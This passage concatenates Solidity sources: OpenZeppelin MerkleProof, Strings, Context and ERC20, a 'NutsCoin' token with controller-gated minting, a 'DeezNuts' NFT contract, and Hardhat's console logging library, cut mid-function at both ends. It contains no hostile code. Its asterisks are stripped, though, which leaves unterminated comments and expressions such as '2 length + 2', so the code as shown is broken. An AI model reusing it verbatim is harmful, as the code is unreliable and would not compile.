processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "hardhat/console.sol"; contract NutsCoin is ERC20, Ownable { // a mapping from an address to whether or not it can mint / burn mapping(address => bool) controllers; uint256 public maxSupply = 6900000000 ether; // community wallet receives 690,000,000 // development wallet reecives 69,000,000 // total left for staking contract = 6141000000 constructor() ERC20("NUTS", "NUTS") { } /** * mints $Deez to a recipient * @param to the recipient of the $Deez * @param amount the amount of $Deez to mint / function mint(address to, uint256 amount) external { require(totalSupply() + amount <= maxSupply, "Max supply of token reached"); require(controllers[msg.sender], "Only controllers can mint"); _mint(to, amount); } /* * burns $Deez from a holder * @param from the holder of the $Deez * @param amount the amount of $Deez to burn / function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } /* * enables an address to mint / burn * @param controller the address to enable / function addController(address controller) external onlyOwner { controllers[controller] = true; } /* * disables an address from minting / burning * @param controller the address to disbale / function removeController(address controller) external onlyOwner { controllers[controller] = false; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "./ERC721Tradable.sol"; contract DeezNuts is ERC721Tradable{ constructor(address _proxyRegistryAddress) ERC721Tradable("Deez Nuts", "NTS", _proxyRegistryAddress) { } function baseTokenURI() override public pure returns (string memory) { return "https://storage.googleapis.com/deeznutsnft/final/Nut"; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. / function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. / function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. / function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { 